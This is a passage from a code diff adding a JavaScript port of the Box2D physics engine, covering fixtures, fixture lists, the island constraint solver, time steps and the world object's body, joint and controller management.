+ return this.m_aabb;
+};
+Box2D.Dynamics.b2Fixture.prototype.Destroy = function() {
+ Box2D.Collision.b2AABB.Free(this.m_aabb);
+};
+/**
+ * @param {!Box2D.Collision.b2DynamicTreeBroadPhase} broadPhase
+ * @param {!Box2D.Common.Math.b2Transform} xf
+ */
+Box2D.Dynamics.b2Fixture.prototype.CreateProxy = function(broadPhase, xf) {
+ this.m_shape.ComputeAABB(this.m_aabb, xf);
+ this.m_proxy = broadPhase.CreateProxy(this.m_aabb, this);
+};
+/**
+ * @param {!Box2D.Collision.b2DynamicTreeBroadPhase} broadPhase
+ */
+Box2D.Dynamics.b2Fixture.prototype.DestroyProxy = function(broadPhase) {
+ if (this.m_proxy == null) {
+ return;
+ }
+ broadPhase.DestroyProxy(this.m_proxy);
+ this.m_proxy = null;
+};
+/**
+ * @param {!Box2D.Collision.b2DynamicTreeBroadPhase} broadPhase
+ * @param {!Box2D.Common.Math.b2Transform} transform1
+ * @param {!Box2D.Common.Math.b2Transform} transform2
+ */
+Box2D.Dynamics.b2Fixture.prototype.Synchronize = function(broadPhase, transform1, transform2) {
+ if (!this.m_proxy) return;
+ var aabb1 = Box2D.Collision.b2AABB.Get();
+ var aabb2 = Box2D.Collision.b2AABB.Get();
+ this.m_shape.ComputeAABB(aabb1, transform1);
+ this.m_shape.ComputeAABB(aabb2, transform2);
+ this.m_aabb.Combine(aabb1, aabb2);
+ Box2D.Collision.b2AABB.Free(aabb1);
+ Box2D.Collision.b2AABB.Free(aabb2);
+ var displacement = Box2D.Common.Math.b2Math.SubtractVV(transform2.position, transform1.position);
+ broadPhase.MoveProxy(this.m_proxy, this.m_aabb, displacement);
+ Box2D.Common.Math.b2Vec2.Free(displacement);
+};
+/**
+ * @type {number}
+ * @private
+ */
+Box2D.Dynamics.b2Fixture.NEXT_ID = 0;
+/**
+ * @constructor
+ */
+Box2D.Dynamics.b2FixtureDef = function () {
+ /**
+ * @type {!Box2D.Dynamics.b2FilterData}
+ */
+ this.filter = new Box2D.Dynamics.b2FilterData();
+ this.filter.categoryBits = 0x0001;
+ this.filter.maskBits = 0xFFFF;
+ this.filter.groupIndex = 0;
+ /**
+ * @type {Box2D.Collision.Shapes.b2Shape}
+ */
+ this.shape = null;
+ /**
+ * @type {number}
+ */
+ this.friction = 0.2;
+ /**
+ * @type {number}
+ */
+ this.restitution = 0.0;
+ /**
+ * @type {number}
+ */
+ this.density = 0.0;
+ /**
+ * @type {boolean}
+ */
+ this.isSensor = false;
+};
+/**
+ * @constructor
+ */
+Box2D.Dynamics.b2FixtureList = function() {
+ /**
+ * @private
+ * @type {Box2D.Dynamics.b2FixtureListNode}
+ */
+ this.fixtureFirstNode = null;
+ /**
+ * @private
+ * @type {Box2D.Dynamics.b2FixtureListNode}
+ */
+ this.fixtureLastNode = null;
+ /**
+ * @private
+ * @type {Object.}
+ */
+ this.fixtureNodeLookup = {};
+ /**
+ * @private
+ * @type {number}
+ */
+ this.fixtureCount = 0;
+};
+/**
+ * @return {Box2D.Dynamics.b2FixtureListNode}
+ */
+Box2D.Dynamics.b2FixtureList.prototype.GetFirstNode = function() {
+ return this.fixtureFirstNode;
+};
+/**
+ * @param {!Box2D.Dynamics.b2Fixture} fixture
+ */
+Box2D.Dynamics.b2FixtureList.prototype.AddFixture = function(fixture) {
+ var fixtureID = fixture.ID;
+ if (this.fixtureNodeLookup[fixtureID] == null) {
+ var node = new Box2D.Dynamics.b2FixtureListNode(fixture);
+ var prevNode = this.fixtureLastNode;
+ if (prevNode != null) {
+ prevNode.SetNextNode(node);
+ } else {
+ this.fixtureFirstNode = node;
+ }
+ node.SetPreviousNode(prevNode);
+ this.fixtureLastNode = node;
+ this.fixtureNodeLookup[fixtureID] = node;
+ this.fixtureCount++;
+ }
+};
+/**
+ * @param {!Box2D.Dynamics.b2Fixture} fixture
+ */
+Box2D.Dynamics.b2FixtureList.prototype.RemoveFixture = function(fixture) {
+ var fixtureID = fixture.ID;
+ var node = this.fixtureNodeLookup[fixtureID];
+ if (node == null) {
+ return;
+ }
+ var prevNode = node.GetPreviousNode();
+ var nextNode = node.GetNextNode();
+ if (prevNode == null) {
+ this.fixtureFirstNode = nextNode;
+ } else {
+ prevNode.SetNextNode(nextNode);
+ }
+ if (nextNode == null) {
+ this.fixtureLastNode = prevNode;
+ } else {
+ nextNode.SetPreviousNode(prevNode);
+ }
+ delete this.fixtureNodeLookup[fixtureID];
+ this.fixtureCount--;
+};
+/**
+ * @return {number}
+ */
+Box2D.Dynamics.b2FixtureList.prototype.GetFixtureCount = function() {
+ return this.fixtureCount;
+};
+/**
+ * @param {!Box2D.Dynamics.b2Fixture} fixture
+ * @constructor
+ */
+Box2D.Dynamics.b2FixtureListNode = function(fixture) {
+ /**
+ * @const
+ * @type {!Box2D.Dynamics.b2Fixture}
+ */
+ this.fixture = fixture;
+ /**
+ * @private
+ * @type {Box2D.Dynamics.b2FixtureListNode}
+ */
+ this.next = null;
+ /**
+ * @private
+ * @type {Box2D.Dynamics.b2FixtureListNode}
+ */
+ this.previous = null;
+};
+/**
+ * @param {Box2D.Dynamics.b2FixtureListNode} node
+ */
+Box2D.Dynamics.b2FixtureListNode.prototype.SetNextNode = function(node) {
+ this.next = node;
+};
+/**
+ * @param {Box2D.Dynamics.b2FixtureListNode} node
+ */
+Box2D.Dynamics.b2FixtureListNode.prototype.SetPreviousNode = function(node) {
+ this.previous = node;
+};
+/**
+ * @return {Box2D.Dynamics.b2FixtureListNode}
+ */
+Box2D.Dynamics.b2FixtureListNode.prototype.GetNextNode = function() {
+ return this.next;
+};
+/**
+ * @return {Box2D.Dynamics.b2FixtureListNode}
+ */
+Box2D.Dynamics.b2FixtureListNode.prototype.GetPreviousNode = function() {
+ return this.previous;
+};
+/**
+ * @param {!Box2D.Dynamics.b2ContactListener} listener
+ * @param {!Box2D.Dynamics.Contacts.b2ContactSolver} contactSolver
+ * @constructor
+ */
+Box2D.Dynamics.b2Island = function(listener, contactSolver) {
+ /**
+ * @private
+ * @type {!Box2D.Dynamics.b2ContactListener}
+ */
+ this.m_listener = listener;
+ /**
+ * @private
+ * @type {!Box2D.Dynamics.Contacts.b2ContactSolver}
+ */
+ this.m_contactSolver = contactSolver;
+ /**
+ * @private
+ * @type {Array.}
+ */
+ this.m_bodies = [];
+ /**
+ * @private
+ * @type {Array.}
+ */
+ this.m_dynamicBodies = [];
+ /**
+ * @private
+ * @type {Array.}
+ */
+ this.m_nonStaticBodies = [];
+ /**
+ * @private
+ * @type {Array.}
+ */
+ this.m_contacts = [];
+ /**
+ * @private
+ * @type {Array.}
+ */
+ this.m_joints = [];
+};
+Box2D.Dynamics.b2Island.prototype.Clear = function() {
+ this.m_bodies = [];
+ this.m_dynamicBodies = [];
+ this.m_nonStaticBodies = [];
+ this.m_contacts = [];
+ this.m_joints = [];
+};
+/**
+ * @param {!Box2D.Dynamics.b2TimeStep} step
+ * @param {!Box2D.Common.Math.b2Vec2} gravity
+ * @param {boolean} allowSleep
+ */
+Box2D.Dynamics.b2Island.prototype.Solve = function(step, gravity, allowSleep) {
+ this._InitializeVelocities(step, gravity);
+ this.m_contactSolver.Initialize(step, this.m_contacts, this.m_contacts.length);
+ this._SolveVelocityConstraints(step);
+ this._SolveBodies(step);
+ this._SolvePositionConstraints(step);
+ this.Report(this.m_contactSolver.m_constraints);
+ if (allowSleep) {
+ this._SleepIfTired(step);
+ }
+};
+/**
+ * @param {!Box2D.Dynamics.b2TimeStep} step
+ * @param {!Box2D.Common.Math.b2Vec2} gravity
+ * @private
+ */
+Box2D.Dynamics.b2Island.prototype._InitializeVelocities = function(step, gravity) {
+ for (var i = 0; i < this.m_dynamicBodies.length; i++) {
+ var b = this.m_dynamicBodies[i];
+ b.m_linearVelocity.x += step.dt * (gravity.x + b.m_invMass * b.m_force.x);
+ b.m_linearVelocity.y += step.dt * (gravity.y + b.m_invMass * b.m_force.y);
+ b.m_angularVelocity += step.dt * b.m_invI * b.m_torque;
+ b.m_linearVelocity.Multiply(Box2D.Common.Math.b2Math.Clamp(1.0 - step.dt * b.m_linearDamping, 0.0, 1.0));
+ b.m_angularVelocity *= Box2D.Common.Math.b2Math.Clamp(1.0 - step.dt * b.m_angularDamping, 0.0, 1.0);
+ }
+};
+/**
+ * @param {!Box2D.Dynamics.b2TimeStep} step
+ * @private
+ */
+Box2D.Dynamics.b2Island.prototype._SolveVelocityConstraints = function(step) {
+ this.m_contactSolver.InitVelocityConstraints(step);
+ for (var jointInitIdx = 0; jointInitIdx < this.m_joints.length; jointInitIdx++) {
+ this.m_joints[jointInitIdx].InitVelocityConstraints(step);
+ }
+ for (var velocityIterationCnt = 0; velocityIterationCnt < step.velocityIterations; velocityIterationCnt++) {
+ for (var jointSolveIdx = 0; jointSolveIdx < this.m_joints.length; jointSolveIdx++) {
+ this.m_joints[jointSolveIdx].SolveVelocityConstraints(step);
+ }
+ this.m_contactSolver.SolveVelocityConstraints();
+ }
+ for (var jointFinalizeIdx = 0; jointFinalizeIdx < this.m_joints.length; jointFinalizeIdx++) {
+ this.m_joints[jointFinalizeIdx].FinalizeVelocityConstraints();
+ }
+ this.m_contactSolver.FinalizeVelocityConstraints();
+};
+/**
+ * @param {!Box2D.Dynamics.b2TimeStep} step
+ * @private
+ */
+Box2D.Dynamics.b2Island.prototype._SolveBodies = function(step) {
+ for (var i = 0; i < this.m_nonStaticBodies.length; ++i) {
+ var b = this.m_nonStaticBodies[i];
+ var translationX = step.dt * b.m_linearVelocity.x;
+ var translationY = step.dt * b.m_linearVelocity.y;
+ if ((translationX * translationX + translationY * translationY) > Box2D.Common.b2Settings.b2_maxTranslationSquared) {
+ b.m_linearVelocity.Normalize();
+ b.m_linearVelocity.x *= Box2D.Common.b2Settings.b2_maxTranslation * step.inv_dt;
+ b.m_linearVelocity.y *= Box2D.Common.b2Settings.b2_maxTranslation * step.inv_dt;
+ }
+ var rotation = step.dt * b.m_angularVelocity;
+ if (rotation * rotation > Box2D.Common.b2Settings.b2_maxRotationSquared) {
+ if (b.m_angularVelocity < 0.0) {
+ b.m_angularVelocity = -Box2D.Common.b2Settings.b2_maxRotation * step.inv_dt;
+ } else {
+ b.m_angularVelocity = Box2D.Common.b2Settings.b2_maxRotation * step.inv_dt;
+ }
+ }
+ b.m_sweep.c0.SetV(b.m_sweep.c);
+ b.m_sweep.a0 = b.m_sweep.a;
+ b.m_sweep.c.x += step.dt * b.m_linearVelocity.x;
+ b.m_sweep.c.y += step.dt * b.m_linearVelocity.y;
+ b.m_sweep.a += step.dt * b.m_angularVelocity;
+ b.SynchronizeTransform();
+ }
+};
+/**
+ * @param {!Box2D.Dynamics.b2TimeStep} step
+ * @private
+ */
+Box2D.Dynamics.b2Island.prototype._SolvePositionConstraints = function(step) {
+ for (var i = 0; i < step.positionIterations; i++) {
+ var contactsOkay = this.m_contactSolver.SolvePositionConstraints(Box2D.Common.b2Settings.b2_contactBaumgarte);
+ var jointsOkay = true;
+ for (var j = 0; j < this.m_joints.length; j++) {
+ var jointOkay = this.m_joints[j].SolvePositionConstraints(Box2D.Common.b2Settings.b2_contactBaumgarte);
+ jointsOkay = jointsOkay && jointOkay;
+ }
+ if (contactsOkay && jointsOkay) {
+ break;
+ }
+ }
+};
+/**
+ * @param {!Box2D.Dynamics.b2TimeStep} step
+ * @private
+ */
+Box2D.Dynamics.b2Island.prototype._SleepIfTired = function(step) {
+ var minSleepTime = Number.MAX_VALUE;
+ for (var nonstaticBodyIdx = 0; nonstaticBodyIdx < this.m_nonStaticBodies.length; nonstaticBodyIdx++) {
+ var b = this.m_nonStaticBodies[nonstaticBodyIdx];
+ if (!b.m_allowSleep || Math.abs(b.m_angularVelocity) > Box2D.Common.b2Settings.b2_angularSleepTolerance || Box2D.Common.Math.b2Math.Dot(b.m_linearVelocity, b.m_linearVelocity) > Box2D.Common.b2Settings.b2_linearSleepToleranceSquared) {
+ b.m_sleepTime = 0.0;
+ minSleepTime = 0.0;
+ } else {
+ b.m_sleepTime += step.dt;
+ minSleepTime = Math.min(minSleepTime, b.m_sleepTime);
+ }
+ }
+ if (minSleepTime >= Box2D.Common.b2Settings.b2_timeToSleep) {
+ for (var bodyIdx = 0; bodyIdx < this.m_bodies.length; bodyIdx++) {
+ this.m_bodies[bodyIdx].SetAwake(false);
+ }
+ }
+};
+/**
+ * @param {!Box2D.Dynamics.b2TimeStep} subStep
+ */
+Box2D.Dynamics.b2Island.prototype.SolveTOI = function(subStep) {
+ var i = 0;
+ var j = 0;
+ this.m_contactSolver.Initialize(subStep, this.m_contacts, this.m_contacts.length);
+ var contactSolver = this.m_contactSolver;
+ for (i = 0; i < this.m_joints.length; ++i) {
+ this.m_joints[i].InitVelocityConstraints(subStep);
+ }
+ for (i = 0; i < subStep.velocityIterations; ++i) {
+ contactSolver.SolveVelocityConstraints();
+ for (j = 0; j < this.m_joints.length; ++j) {
+ this.m_joints[j].SolveVelocityConstraints(subStep);
+ }
+ }
+ for (i = 0; i < this.m_nonStaticBodies.length; ++i) {
+ var b = this.m_nonStaticBodies[i];
+ var translationX = subStep.dt * b.m_linearVelocity.x;
+ var translationY = subStep.dt * b.m_linearVelocity.y;
+ if ((translationX * translationX + translationY * translationY) > Box2D.Common.b2Settings.b2_maxTranslationSquared) {
+ b.m_linearVelocity.Normalize();
+ b.m_linearVelocity.x *= Box2D.Common.b2Settings.b2_maxTranslation * subStep.inv_dt;
+ b.m_linearVelocity.y *= Box2D.Common.b2Settings.b2_maxTranslation * subStep.inv_dt;
+ }
+ var rotation = subStep.dt * b.m_angularVelocity;
+ if (rotation * rotation > Box2D.Common.b2Settings.b2_maxRotationSquared) {
+ if (b.m_angularVelocity < 0.0) {
+ b.m_angularVelocity = (-Box2D.Common.b2Settings.b2_maxRotation * subStep.inv_dt);
+ } else {
+ b.m_angularVelocity = Box2D.Common.b2Settings.b2_maxRotation * subStep.inv_dt;
+ }
+ }
+ b.m_sweep.c0.SetV(b.m_sweep.c);
+ b.m_sweep.a0 = b.m_sweep.a;
+ b.m_sweep.c.x += subStep.dt * b.m_linearVelocity.x;
+ b.m_sweep.c.y += subStep.dt * b.m_linearVelocity.y;
+ b.m_sweep.a += subStep.dt * b.m_angularVelocity;
+ b.SynchronizeTransform();
+ }
+ var k_toiBaumgarte = 0.75;
+ for (i = 0; i < subStep.positionIterations; ++i) {
+ var contactsOkay = contactSolver.SolvePositionConstraints(k_toiBaumgarte);
+ var jointsOkay = true;
+ for (j = 0; j < this.m_joints.length; ++j) {
+ var jointOkay = this.m_joints[j].SolvePositionConstraints(Box2D.Common.b2Settings.b2_contactBaumgarte);
+ jointsOkay = jointsOkay && jointOkay;
+ }
+ if (contactsOkay && jointsOkay) {
+ break;
+ }
+ }
+ this.Report(contactSolver.m_constraints);
+};
+/**
+ * @param {Array.} constraints
+ */
+Box2D.Dynamics.b2Island.prototype.Report = function(constraints) {
+ if (this.m_listener == null) {
+ return;
+ }
+ for (var i = 0; i < this.m_contacts.length; ++i) {
+ var c = this.m_contacts[i];
+ var cc = constraints[i];
+ var impulse = new Box2D.Dynamics.b2ContactImpulse();
+ for (var j = 0; j < cc.pointCount; ++j) {
+ impulse.normalImpulses[j] = cc.points[j].normalImpulse;
+ impulse.tangentImpulses[j] = cc.points[j].tangentImpulse;
+ }
+ this.m_listener.PostSolve(c, impulse);
+ }
+};
+/**
+ * @param {!Box2D.Dynamics.b2Body} body
+ */
+Box2D.Dynamics.b2Island.prototype.AddBody = function(body) {
+ this.m_bodies.push(body);
+ if (body.GetType() != Box2D.Dynamics.b2BodyDef.b2_staticBody) {
+ this.m_nonStaticBodies.push(body);
+ if (body.GetType() == Box2D.Dynamics.b2BodyDef.b2_dynamicBody) {
+ this.m_dynamicBodies.push(body);
+ }
+ }
+};
+/**
+ * @param {!Box2D.Dynamics.Contacts.b2Contact} contact
+ */
+Box2D.Dynamics.b2Island.prototype.AddContact = function(contact) {
+ this.m_contacts.push(contact);
+};
+/**
+ * @param {!Box2D.Dynamics.Joints.b2Joint} joint
+ */
+Box2D.Dynamics.b2Island.prototype.AddJoint = function(joint) {
+ this.m_joints.push(joint);
+};
+/**
+ * @param {number} dt
+ * @param {number} dtRatio
+ * @param {number} positionIterations
+ * @param {number} velocityIterations
+ * @param {boolean} warmStarting
+ * @constructor
+ */
+Box2D.Dynamics.b2TimeStep = function(dt, dtRatio, positionIterations, velocityIterations, warmStarting) {
+ /**
+ * @const
+ * @type {number}
+ */
+ this.dt = dt;
+ var invDT = 0;
+ if (dt > 0) {
+ invDT = 1 / dt;
+ }
+ /**
+ * @const
+ * @type {number}
+ */
+ this.inv_dt = invDT;
+ /**
+ * @const
+ * @type {number}
+ */
+ this.dtRatio = dtRatio;
+ /**
+ * @const
+ * @type {number}
+ */
+ this.positionIterations = positionIterations;
+ /**
+ * @const
+ * @type {number}
+ */
+ this.velocityIterations = velocityIterations;
+ /**
+ * @const
+ * @type {boolean}
+ */
+ this.warmStarting = warmStarting;
+};
+/**
+ * @param {!Box2D.Common.Math.b2Vec2} gravity
+ * @param {boolean} doSleep
+ * @constructor
+ */
+Box2D.Dynamics.b2World = function(gravity, doSleep) {
+ /**
+ * @private
+ * @type {!Box2D.Dynamics.b2ContactManager}
+ */
+ this.m_contactManager = new Box2D.Dynamics.b2ContactManager(this);
+ /**
+ * @private
+ * @type {!Box2D.Dynamics.Contacts.b2ContactSolver}
+ */
+ this.m_contactSolver = new Box2D.Dynamics.Contacts.b2ContactSolver();
+ /**
+ * @private
+ * @type {boolean}
+ */
+ this.m_isLocked = false;
+ /**
+ * @private
+ * @type {boolean}
+ */
+ this.m_newFixture = false;
+ /**
+ * @private
+ * @type {Box2D.Dynamics.b2DestructionListener}
+ */
+ this.m_destructionListener = null;
+ /**
+ * @private
+ * @type {!Box2D.Dynamics.b2BodyList}
+ */
+ this.bodyList = new Box2D.Dynamics.b2BodyList();
+ /**
+ * @private
+ * @type {!Box2D.Dynamics.Contacts.b2ContactList}
+ */
+ this.contactList = new Box2D.Dynamics.Contacts.b2ContactList();
+ /**
+ * @private
+ * @type {Box2D.Dynamics.Joints.b2Joint}
+ */
+ this.m_jointList = null;
+ /**
+ * @private
+ * @type {!Box2D.Dynamics.Controllers.b2ControllerList}
+ */
+ this.controllerList = new Box2D.Dynamics.Controllers.b2ControllerList();
+ /**
+ * @private
+ * @type {number}
+ */
+ this.m_jointCount = 0;
+ /**
+ * @private
+ * @type {boolean}
+ */
+ this.m_warmStarting = true;
+ /**
+ * @private
+ * @type {boolean}
+ */
+ this.m_continuousPhysics = true;
+ /**
+ * @private
+ * @type {boolean}
+ */
+ this.m_allowSleep = doSleep;
+ /**
+ * @private
+ * @type {!Box2D.Common.Math.b2Vec2}
+ */
+ this.m_gravity = gravity;
+ /**
+ * @private
+ * @type {number}
+ */
+ this.m_inv_dt0 = 0.0;
+ /**
+ * @private
+ * @type {!Box2D.Dynamics.b2Body}
+ */
+ this.m_groundBody = this.CreateBody(new Box2D.Dynamics.b2BodyDef());
+};
+/**
+ * @const
+ * @type {number}
+ */
+Box2D.Dynamics.b2World.MAX_TOI = 1.0 - 100.0 * Number.MIN_VALUE;
+/**
+ * @param {!Box2D.Dynamics.b2DestructionListener} listener
+ */
+Box2D.Dynamics.b2World.prototype.SetDestructionListener = function(listener) {
+ this.m_destructionListener = listener;
+};
+/**
+ * @param {!Box2D.Dynamics.b2ContactFilter} filter
+ */
+Box2D.Dynamics.b2World.prototype.SetContactFilter = function(filter) {
+ this.m_contactManager.m_contactFilter = filter;
+};
+/**
+ * @param {!Box2D.Dynamics.b2ContactListener} listener
+ */
+Box2D.Dynamics.b2World.prototype.SetContactListener = function(listener) {
+ this.m_contactManager.m_contactListener = listener;
+};
+/**
+ * @param {!Box2D.Collision.b2DynamicTreeBroadPhase} broadPhase
+ */
+Box2D.Dynamics.b2World.prototype.SetBroadPhase = function(broadPhase) {
+ var oldBroadPhase = this.m_contactManager.m_broadPhase;
+ this.m_contactManager.m_broadPhase = broadPhase;
+ for (var node = this.bodyList.GetFirstNode(Box2D.Dynamics.b2BodyList.TYPES.allBodies); node; node = node.GetNextNode()) {
+ for (var fixtureNode = node.body.GetFixtureList().GetFirstNode(); fixtureNode; fixtureNode = fixtureNode.GetNextNode()) {
+ var f = fixtureNode.fixture;
+ f.m_proxy = broadPhase.CreateProxy(oldBroadPhase.GetFatAABB(f.m_proxy), f);
+ }
+ }
+};
+/**
+ * @return {number}
+ */
+Box2D.Dynamics.b2World.prototype.GetProxyCount = function() {
+ return this.m_contactManager.m_broadPhase.GetProxyCount();
+};
+/**
+ * @param {!Box2D.Dynamics.b2BodyDef} def
+ * @return {!Box2D.Dynamics.b2Body}
+ */
+Box2D.Dynamics.b2World.prototype.CreateBody = function(def) {
+;
+ var b = new Box2D.Dynamics.b2Body(def, this);
+ this.bodyList.AddBody(b);
+ return b;
+};
+/**
+ * @param {!Box2D.Dynamics.b2Body} b
+ */
+Box2D.Dynamics.b2World.prototype.DestroyBody = function(b) {
+;
+ var jn = b.m_jointList;
+ while (jn) {
+ var jn0 = jn;
+ jn = jn.next;
+ if (this.m_destructionListener) {
+ this.m_destructionListener.SayGoodbyeJoint(jn0.joint);
+ }
+ this.DestroyJoint(jn0.joint);
+ }
+ for (var node = b.GetControllerList().GetFirstNode(); node; node = node.GetNextNode()) {
+ node.controller.RemoveBody(b);
+ }
+ for (var contactNode = b.contactList.GetFirstNode(Box2D.Dynamics.Contacts.b2ContactList.TYPES.allContacts); contactNode; contactNode = contactNode.GetNextNode()) {
+ this.m_contactManager.Destroy(contactNode.contact);
+ }
+ for (var fixtureNode = b.GetFixtureList().GetFirstNode(); fixtureNode; fixtureNode = fixtureNode.GetNextNode()) {
+ if (this.m_destructionListener) {
+ this.m_destructionListener.SayGoodbyeFixture(fixtureNode.fixture);
+ }
+ b.DestroyFixture(fixtureNode.fixture);
+ }
+ b.Destroy();
+ this.bodyList.RemoveBody(b);
+};
+/**
+ * @param {!Box2D.Dynamics.Joints.b2JointDef} def
+ * @return {!Box2D.Dynamics.Joints.b2Joint}
+ */
+Box2D.Dynamics.b2World.prototype.CreateJoint = function(def) {
+ var j = Box2D.Dynamics.Joints.b2Joint.Create(def);
+ j.m_prev = null;
+ j.m_next = this.m_jointList;
+ if (this.m_jointList) {
+ this.m_jointList.m_prev = j;
+ }
+ this.m_jointList = j;
+ this.m_jointCount++;
+ j.m_edgeA.joint = j;
+ j.m_edgeA.other = j.m_bodyB;
+ j.m_edgeA.prev = null;
+ j.m_edgeA.next = j.m_bodyA.m_jointList;
+ if (j.m_bodyA.m_jointList) {
+ j.m_bodyA.m_jointList.prev = j.m_edgeA;
+ }
+ j.m_bodyA.m_jointList = j.m_edgeA;
+ j.m_edgeB.joint = j;
+ j.m_edgeB.other = j.m_bodyA;
+ j.m_edgeB.prev = null;
+ j.m_edgeB.next = j.m_bodyB.m_jointList;
+ if (j.m_bodyB.m_jointList) {
+ j.m_bodyB.m_jointList.prev = j.m_edgeB;
+ }
+ j.m_bodyB.m_jointList = j.m_edgeB;
+ var bodyA = def.bodyA;
+ var bodyB = def.bodyB;
+ if (!def.collideConnected) {
+ for (var contactNode = bodyB.contactList.GetFirstNode(Box2D.Dynamics.Contacts.b2ContactList.TYPES.allContacts); contactNode; contactNode = contactNode.GetNextNode()) {
+ if (contactNode.contact.GetOther(bodyB) == bodyA) {
+ contactNode.contact.FlagForFiltering();
+ }
+ }
+ }
+ return j;
+};
+/**
+ * @param {!Box2D.Dynamics.Joints.b2Joint} j
+ */
+Box2D.Dynamics.b2World.prototype.DestroyJoint = function(j) {
+ var collideConnected = j.m_collideConnected;
+ if (j.m_prev) {
+ j.m_prev.m_next = j.m_next;
+ }
+ if (j.m_next) {
+ j.m_next.m_prev = j.m_prev;
+ }
+ if (j == this.m_jointList) {
+ this.m_jointList = j.m_next;
+ }
+ var bodyA = j.m_bodyA;
+ var bodyB = j.m_bodyB;
+ bodyA.SetAwake(true);
+ bodyB.SetAwake(true);
+ if (j.m_edgeA.prev) {
+ j.m_edgeA.prev.next = j.m_edgeA.next;
+ }
+ if (j.m_edgeA.next) {
+ j.m_edgeA.next.prev = j.m_edgeA.prev;
+ }
+ if (j.m_edgeA == bodyA.m_jointList) {
+ bodyA.m_jointList = j.m_edgeA.next;
+ }
+ j.m_edgeA.prev = null;
+ j.m_edgeA.next = null;
+ if (j.m_edgeB.prev) {
+ j.m_edgeB.prev.next = j.m_edgeB.next;
+ }
+ if (j.m_edgeB.next) {
+ j.m_edgeB.next.prev = j.m_edgeB.prev;
+ }
+ if (j.m_edgeB == bodyB.m_jointList) {
+ bodyB.m_jointList = j.m_edgeB.next;
+ }
+ j.m_edgeB.prev = null;
+ j.m_edgeB.next = null;
+ this.m_jointCount--;
+ if (!collideConnected) {
+ for (var contactNode = bodyB.contactList.GetFirstNode(Box2D.Dynamics.Contacts.b2ContactList.TYPES.allContacts); contactNode; contactNode = contactNode.GetNextNode()) {
+ if (contactNode.contact.GetOther(bodyB) == bodyA) {
+ contactNode.contact.FlagForFiltering();
+ }
+ }
+ }
+};
+/**
+ * @return {!Box2D.Dynamics.Controllers.b2ControllerList}
+ */
+Box2D.Dynamics.b2World.prototype.GetControllerList = function() {
+ return this.controllerList;
+};
+/**
+ * @param {!Box2D.Dynamics.Controllers.b2Controller} c
+ * @return {!Box2D.Dynamics.Controllers.b2Controller}
+ */
+Box2D.Dynamics.b2World.prototype.AddController = function(c) {
+ if (c.m_world !== null && c.m_world != this) {
+ throw new Error("Controller can only be a member of one world");
+ }
+ this.controllerList.AddController(c);
+ c.m_world = this;
+ return c;
+};
+/**
+ * @param {!Box2D.Dynamics.Controllers.b2Controller} c
+ */
+Box2D.Dynamics.b2World.prototype.RemoveController = function(c) {
+ this.controllerList.RemoveController(c);
+ c.m_world = null;
+ c.Clear();
+};
+/**
+ * @param {!Box2D.Dynamics.Controllers.b2Controller} controller
+ * @return {!Box2D.Dynamics.Controllers.b2Controller}
+ */
+Box2D.Dynamics.b2World.prototype.CreateController = function(controller) {
+ return this.AddController(controller);
+};
+/**
+ * @param {!Box2D.Dynamics.Controllers.b2Controller} controller
+ */
+Box2D.Dynamics.b2World.prototype.DestroyController = function(controller) {
+ this.RemoveController(controller);
+};
+/**
+ * @param {boolean} flag
+ */
+Box2D.Dynamics.b2World.prototype.SetWarmStarting = function(flag) {
+ this.m_warmStarting = flag;
+};
+/**
+ * @param {boolean} flag
+ */
+Box2D.Dynamics.b2World.prototype.SetContinuousPhysics = function(flag) {
+ this.m_continuousPhysics = flag;
+};
+/**
+ * @return {number}
+ */
+Box2D.Dynamics.b2World.prototype.GetBodyCount = function() {
+ return this.bodyList.GetBodyCount();
+};
+/**
+ * @return {number}
+ */
+Box2D.Dynamics.b2World.prototype.GetJointCount = function() {
+ return this.m_jointCount;
+};
+/**
+ * @return {number}
+ */
+Box2D.Dynamics.b2World.prototype.GetContactCount = function() {
+ return this.contactList.GetContactCount();
+};
+/**
+ * @param {!Box2D.Common.Math.b2Vec2} gravity
+ */
+Box2D.Dynamics.b2World.prototype.SetGravity = function(gravity) {
+ this.m_gravity = gravity;
+};
+/**
+ * @return {!Box2D.Common.Math.b2Vec2}
+ */
+Box2D.Dynamics.b2World.prototype.GetGravity = function() {
+ return this.m_gravity;
+};
+/**
+ * @return {!Box2D.Dynamics.b2Body}
+ */
+Box2D.Dynamics.b2World.prototype.GetGroundBody = function() {
+ return this.m_groundBody;
+};
+/**
+ * @param {number} dt
+ * @param {number} velocityIterations
+ * @param {number} positionIterations
+ */
+Box2D.Dynamics.b2World.prototype.Step = function(dt, velocityIterations, positionIterations) {
+ if (this.m_newFixture) {
+ this.m_contactManager.FindNewContacts();
+ this.m_newFixture = false;
+ }
+ this.m_isLocked = true;
+ var step = new Box2D.Dynamics.b2TimeStep(dt, this.m_inv_dt0 * dt /* dtRatio */, velocityIterations, positionIterations, this.m_warmStarting);
+ this.m_contactManager.Collide();
+ if (step.dt > 0.0) {
+ this.Solve(step);
+ if (this.m_continuousPhysics) {
+ this.SolveTOI(step);
+ }
+ this.m_inv_dt0 = step.inv_dt;
+ }
+ this.m_isLocked = false;
+};
+Box2D.Dynamics.b2World.prototype.ClearForces = function() {
+ for (var node = this.bodyList.GetFirstNode(Box2D.Dynamics.b2BodyList.TYPES.dynamicBodies); node; node = node.GetNextNode()) {
+ node.body.m_force.SetZero();
+ node.body.m_torque = 0.0;
+ }
+};
+/**
+ * @param {function(!Box2D.Dynamics.b2Fixture):boolean} callback
+ * @param {!Box2D.Collision.b2AABB} aabb
+ */
+Box2D.Dynamics.b2World.prototype.QueryAABB = function(callback, aabb) {
+ this.m_contactManager.m_broadPhase.Query(callback, aabb);
+};
+/**
+ * @param {function(!Box2D.Dynamics.b2Fixture): boolean} callback
+ * @param {!Box2D.Common.Math.b2Vec2} p
+ */
+Box2D.Dynamics.b2World.prototype.QueryPoint = function(callback, p) {
+ /** @type {function(!Box2D.Dynamics.b2Fixture): boolean} */
+ var WorldQueryWrapper = function(fixture) {
+ if (fixture.TestPoint(p)) {
+ return callback(fixture);
+ } else {
+ return true;
+ }
+ };
+ var aabb = Box2D.Collision.b2AABB.Get();
+ aabb.lowerBound_.Set(p.x - Box2D.Common.b2Settings.b2_linearSlop, p.y - Box2D.Common.b2Settings.b2_linearSlop);
+ aabb.upperBound_.Set(p.x + Box2D.Common.b2Settings.b2_linearSlop, p.y + Box2D.Common.b2Settings.b2_linearSlop);
+ this.m_contactManager.m_broadPhase.Query(WorldQueryWrapper, aabb);
+ Box2D.Collision.b2AABB.Free(aabb);
+};
+/**
